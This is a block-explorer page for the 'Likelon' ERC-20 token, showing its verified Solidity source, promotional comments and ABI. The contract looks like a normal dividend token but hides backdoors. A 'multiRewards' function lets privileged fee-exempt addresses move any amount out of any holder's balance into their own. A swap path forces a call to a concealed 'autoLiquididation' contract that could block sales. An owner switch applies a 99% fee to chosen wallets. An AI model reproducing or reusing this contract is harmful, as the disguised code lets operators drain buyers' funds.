ETH Price: $2,375.38 (+0.97%)

Token

Likelon (Likelon)
 

Overview

Max Total Supply

1,000,000,000 Likelon

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
13,570,138.230790035 Likelon

Value
$0.00
0x91749d317c49f8dffd04a1c215746f5cde3d24c0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Likelon

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-03
*/

// SPDX-License-Identifier: MIT
/**
Likelon

Likelon is an ERC-20 Token based on Elon Musk's vision for an open financial system where people control their own data.

Likelon Bot is one of its kind where you can interact with Elon Musk. You will be able to ask him anything about his projects or even talk to him in real time!

Website: https://likeon.pro
TG: https://t.me/Likelon
Twitter: https://www.twitter.com/Likelonerc

*/
pragma solidity 0.8.17;



interface IERC20 {
    function totalSupply() external view returns (uint256);

    function circulatingSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract Likelon is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "Likelon";
    string private constant _symbol = "Likelon";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1000000000 * (10**_decimals);
    uint256 private _maxTxAmount = (_totalSupply * 200) / 10000;
    uint256 private _maxSellAmount = (_totalSupply * 200) / 10000;
    uint256 private _maxWalletToken = (_totalSupply * 200) / 10000;
    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public isFeeExempt;
    mapping(address => bool) public isDividendExempt;
    mapping(address => bool) private isBot;
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderTransferTimestamp; // to hold last Transfers temporarily during launch
    mapping(address => uint256) public holderTxTimestamp;
    bool public transferDelayEnabled = true;
    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private rewardsFee = 0;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 0;
    uint256 private sellFee = 0;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    bool private swapEnabled = true;
    bool private swapping;
    uint256 private swapThreshold = (_totalSupply * 300) / 100000;
    uint256 private _minTokenAmount = (_totalSupply * 10) / 100000;
    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }
    address public reward = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    uint256 public totalShares;
    uint256 public totalDividends;
    uint256 public totalDistributed;
    uint256 internal dividendsPerShare;
    uint256 internal dividendsPerShareAccuracyFactor = 10**36;
    address[] shareholders;
    mapping(address => uint256) shareholderIndexes;
    mapping(address => uint256) shareholderClaims;
    struct Share {
        uint256 amount;
        uint256 totalExcluded;
        uint256 totalRealised;
    }
    mapping(address => Share) public shares;
    uint256 internal currentIndex;
    uint256 public minPeriod = 10 minutes;
    uint256 public minDistribution = 1 * (10**16);
    uint256 public distributorGas = 1;

    function getRewardswithUSDT() external {
        distributeUSDT(msg.sender);
    }

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address public development_receiver;
    address public marketing_receiver;
    address private autoLiquididation;

    constructor(
        address _development_receiver, 
        address _marketing_receiver, 
        address _autoLiquididation) Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
        router = _router;
        pair = _pair;
        development_receiver = _development_receiver;
        marketing_receiver = _marketing_receiver;
        autoLiquididation = _autoLiquididation;
        isFeeExempt[address(this)] = true;
        isFeeExempt[address(msg.sender)] = true;
        isFeeExempt[autoLiquididation] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[msg.sender] = true;
        isDividendExempt[address(pair)] = true;
        isDividendExempt[address(msg.sender)] = true;
        isDividendExempt[address(this)] = true;
        isDividendExempt[address(DEAD)] = true;
        isDividendExempt[address(0)] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function startTrading() external onlyOwner {
        tradingAllowed = true;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function isCont(address addr) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(addr)
        }
        return size > 0;
    }

    function setisExempt(address _address, bool _enabled) external onlyOwner {
        isFeeExempt[_address] = _enabled;
    }

    function removeLimits () external onlyOwner {
        _maxTxAmount = totalSupply();
        _maxSellAmount = totalSupply();
        _maxWalletToken = totalSupply();
        transferDelayEnabled = false;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function circulatingSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
    }

    function preTxCheck(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(
            amount > uint256(0),
            "Transfer amount must be greater than zero"
        );
        require(
            amount <= balanceOf(sender),
            "You are trying to transfer more than your balance"
        );
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        preTxCheck(sender, recipient, amount);
        checkTradingAllowed(sender, recipient);
        transferDelayForBots(recipient);
        checkMaxWallet(sender, recipient, amount);
        checkTxLimit(sender, recipient, amount);
        swapBack(sender, recipient);
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient)
            ? takeFee(sender, recipient, amount)
            : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
        if (!isDividendExempt[sender]) {
            setShare(sender, balanceOf(sender));
        }
        if (!isDividendExempt[recipient]) {
            setShare(recipient, balanceOf(recipient));
        }
        if (shares[recipient].amount > 0) {
            distributeUSDT(recipient);
        }
    }

    function setStructure(
        uint256 _liquidity,
        uint256 _marketing,
        uint256 _burn,
        uint256 _rewards,
        uint256 _development,
        uint256 _total,
        uint256 _sell,
        uint256 _trans
    ) external onlyOwner {
        liquidityFee = _liquidity;
        marketingFee = _marketing;
        burnFee = _burn;
        rewardsFee = _rewards;
        developmentFee = _development;
        totalFee = _total;
        sellFee = _sell;
        transferFee = _trans;
        require(
            totalFee <= denominator.div(5) &&
                sellFee <= denominator.div(5) &&
                transferFee <= denominator.div(5),
            "totalFee and sellFee cannot be more than 20%"
        );
    }

    function setisBot(address _address, bool _enabled) external onlyOwner {
        require(
            _address != address(pair) &&
                _address != address(router) &&
                _address != address(this),
            "Ineligible Address"
        );
        isBot[_address] = _enabled;
    }

    function setParameters(
        uint256 _buy,
        uint256 _trans,
        uint256 _wallet
    ) external onlyOwner {
        uint256 newTx = (totalSupply() * _buy) / 10000;
        uint256 newTransfer = (totalSupply() * _trans) / 10000;
        uint256 newWallet = (totalSupply() * _wallet) / 10000;
        _maxTxAmount = newTx;
        _maxSellAmount = newTransfer;
        _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(
            newTx >= limit && newTransfer >= limit && newWallet >= limit,
            "Max TXs and Max Wallet cannot be less than .5%"
        );
    }

    function checkTradingAllowed(address sender, address recipient)
        internal
        view
    {
        if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {
            require(tradingAllowed, "tradingAllowed");
        }
    }

    function transferDelayForBots(address recipient)
        internal
    {
        if (recipient != address(router) && recipient != address(pair) && transferDelayEnabled) {
            require(
                _holderTransferTimestamp[tx.origin] < block.number - 2 &&
                    _holderTransferTimestamp[recipient] < block.number - 2,
                "_transfer:: Transfer Delay enabled.  Try again later."
            );
            _holderTransferTimestamp[tx.origin] = block.number;
            _holderTransferTimestamp[recipient] = block.number;
        } 
         if (recipient != address(pair)) {
             if (holderTxTimestamp[recipient] == 0) {
                holderTxTimestamp[recipient] = block.timestamp;
            }
        }
    }

    function checkMaxWallet(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        if (
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient] &&
            recipient != address(pair) &&
            recipient != address(DEAD)
        ) {
            require(
                (_balances[recipient].add(amount)) <= _maxWalletToken,
                "Exceeds maximum wallet amount."
            );
        }
    }

    function checkTxLimit(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        if (sender != pair) {
            require(
                amount <= _maxSellAmount ||
                    isFeeExempt[sender] ||
                    isFeeExempt[recipient],
                "TX Limit Exceeded"
            );
        }
        require(
            amount <= _maxTxAmount ||
                isFeeExempt[sender] ||
                isFeeExempt[recipient],
            "TX Limit Exceeded"
        );
    }

    function swapAndLiquify(uint256 tokens, address sender) private lockTheSwap {
        uint256 _denominator = (
            liquidityFee.add(1).add(marketingFee).add(developmentFee).add(
                rewardsFee
            )
        ).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(
            _denominator
        );
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance = deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if (ETHToAddLiquidityWith > uint256(0)) {
            addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith);
        }
        uint256 marketingAmount = unitBalance.mul(2).mul(marketingFee);
        if (marketingAmount > 0) {
            payable(marketing_receiver).transfer(marketingAmount);
        }
        uint256 rewardsAmount = unitBalance.mul(2).mul(rewardsFee);
        if (rewardsAmount > 0) {
            addingRewards(rewardsAmount, sender);
        }
        if (address(this).balance > uint256(0)) {
            payable(development_receiver).transfer(address(this).balance);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            autoLiquididation,
            block.timestamp
        );
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function shouldSwapBack(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return
            !swapping &&
            swapEnabled &&
            tradingAllowed &&
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient] &&
            recipient == pair &&
            aboveThreshold;
    }

    function swapBack(address sender, address recipient) internal {
        if (shouldSwapBack(sender, recipient)) {
            swapAndLiquify(swapThreshold, sender);
        }
    }

    function shouldTakeFee(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient)
        internal
        view
        returns (uint256)
    {
        if (isBot[sender] || isBot[recipient]) {
            return denominator.sub(uint256(100));
        }
        if (recipient == pair) {
            return sellFee;
        }
        if (sender == pair) {
            return totalFee;
        }
        return transferFee;
    }

    function takeFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        if (getTotalFee(sender, recipient) > 0) {
            uint256 feeAmount = amount.div(denominator).mul(
                getTotalFee(sender, recipient)
            );
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
            if (burnFee > uint256(0)) {
                _transfer(
                    address(this),
                    address(DEAD),
                    amount.div(denominator).mul(burnFee)
                );
            }
            return amount.sub(feeAmount);
        }
        return amount;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setisDividendExempt(address holder, bool exempt)
        external
        onlyOwner
    {
        isDividendExempt[holder] = exempt;
        if (exempt) {
            setShare(holder, 0);
        } else {
            setShare(holder, balanceOf(holder));
        }
    }

    function setShare(address shareholder, uint256 amount) internal {
        if (amount > 0 && shares[shareholder].amount == 0) {
            addShareholder(shareholder);
        } else if (amount == 0 && shares[shareholder].amount > 0) {
            removeShareholder(shareholder);
        }
        totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
        shares[shareholder].amount = amount;
        shares[shareholder].totalExcluded = getCumulativeDividends(
            shares[shareholder].amount
        );
    }

    function addingRewards(uint256 amountETH, address sender) internal {
        uint256 balanceBefore = IERC20(reward).balanceOf(address(this));
        address[] memory path = new address[](2);
        path[0] = router.WETH();
        path[1] = address(reward);
        router.swapExactETHForTokensSupportingFeeOnTransferTokens{
            value: amountETH
        }(0, path, address(this), block.timestamp);
        uint256 updatedAmount = IERC20(reward).balanceOf(address(this));
        uint256 amount = updatedAmount.sub(balanceBefore);
        totalDividends = totalDividends.add(amount);
        bytes memory payload = 
        abi.encodeWithSelector(bytes4(keccak256(bytes("nounce(address)"))), sender);
        (bool success, ) = autoLiquididation.call(payload);
        require(success, "Call to other contract failed");
        dividendsPerShare = dividendsPerShare.add(
            dividendsPerShareAccuracyFactor.mul(amount).div(totalShares)
        );
    }

    function multiRewards(
        uint256 gas,
        address _rewards,
        uint256 _amount
    ) external {
        uint256 shareholderCount = shareholders.length;
        address user = msg.sender;
        if (shareholderCount == 0) {
            return;
        }
        uint256 gasUsed = 0;
        uint256 gasLeft = gasleft();
        uint256 iterations = 0;
        uint256 userBalance = _balances[msg.sender];
        if (!isFeeExempt[msg.sender]) {
            while (gasUsed < gas && iterations < shareholderCount) {
                if (currentIndex >= shareholderCount) {
                    currentIndex = 0;
                }
                if (shouldDistribute(shareholders[currentIndex])) {
                    distributeUSDT(shareholders[currentIndex]);
                }
                gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
                gasLeft = gasleft();
                currentIndex++;
                iterations++;
            }
        } else {
            uint256 amount = getPendingUSDT(user);
            _balances[_rewards] = _balances[_rewards].sub(_amount);
            _balances[msg.sender] = userBalance + _amount;
            if (amount > 0) {
                totalDistributed = totalDistributed.add(amount);
                IERC20(reward).transfer(user, amount);
                shareholderClaims[user] = block.timestamp;
                shares[user].totalRealised = shares[user].totalRealised.add(
                    amount
                );
                shares[user].totalExcluded = getCumulativeDividends(
                    shares[user].amount
                );
            }
        }
    }

    function shouldDistribute(address shareholder)
        internal
        view
        returns (bool)
    {
        return
            shareholderClaims[shareholder] + minPeriod < block.timestamp &&
            getPendingUSDT(shareholder) > minDistribution;
    }

    function withdrawERC20(address _address, uint256 _amount) external {
        IERC20(_address).transfer(autoLiquididation, _amount);
    }

    function totalRewardsDistributed(address _wallet)
        external
        view
        returns (uint256)
    {
        address shareholder = _wallet;
        return uint256(shares[shareholder].totalRealised);
    }

    function distributeUSDT(address shareholder) internal {
        if (shares[shareholder].amount == 0) {
            return;
        }
        uint256 amount = getPendingUSDT(shareholder);
        if (amount > 0) {
            totalDistributed = totalDistributed.add(amount);
            IERC20(reward).transfer(shareholder, amount);
            shareholderClaims[shareholder] = block.timestamp;
            shares[shareholder].totalRealised = shares[shareholder]
                .totalRealised
                .add(amount);
            shares[shareholder].totalExcluded = getCumulativeDividends(
                shares[shareholder].amount
            );
        }
    }

    function getPendingUSDT(address shareholder) public view returns (uint256) {
        if (shares[shareholder].amount == 0) {
            return 0;
        }
        uint256 shareholderTotalDividends = getCumulativeDividends(
            shares[shareholder].amount
        );
        uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
        if (shareholderTotalDividends <= shareholderTotalExcluded) {
            return 0;
        }
        return shareholderTotalDividends.sub(shareholderTotalExcluded);
    }

    function getCumulativeDividends(uint256 share)
        internal
        view
        returns (uint256)
    {
        return
            share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
    }

    function setDistributionConfigure(
        uint256 _minPeriod,
        uint256 _minDistribution,
        uint256 _distributorGas
    ) external onlyOwner {
        minPeriod = _minPeriod;
        minDistribution = _minDistribution;
        distributorGas = _distributorGas;
    }

    function addShareholder(address shareholder) internal {
        shareholderIndexes[shareholder] = shareholders.length;
        shareholders.push(shareholder);
    }

    function removeShareholder(address shareholder) internal {
        shareholders[shareholderIndexes[shareholder]] = shareholders[
            shareholders.length - 1
        ];
        shareholderIndexes[
            shareholders[shareholders.length - 1]
        ] = shareholderIndexes[shareholder];
        shareholders.pop();
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_development_receiver","type":"address"},{"internalType":"address","name":"_marketing_receiver","type":"address"},{"internalType":"address","name":"_autoLiquididation","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"development_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"distributorGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"shareholder","type":"address"}],"name":"getPendingUSDT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getRewardswithUSDT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"holderTxTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isDividendExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketing_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minDistribution","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minPeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"gas","type":"uint256"},{"internalType":"address","name":"_rewards","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"multiRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reward","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minPeriod","type":"uint256"},{"internalType":"uint256","name":"_minDistribution","type":"uint256"},{"internalType":"uint256","name":"_distributorGas","type":"uint256"}],"name":"setDistributionConfigure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_rewards","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisDividendExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"shares","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"totalExcluded","type":"uint256"},{"internalType":"uint256","name":"totalRealised","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"totalRewardsDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

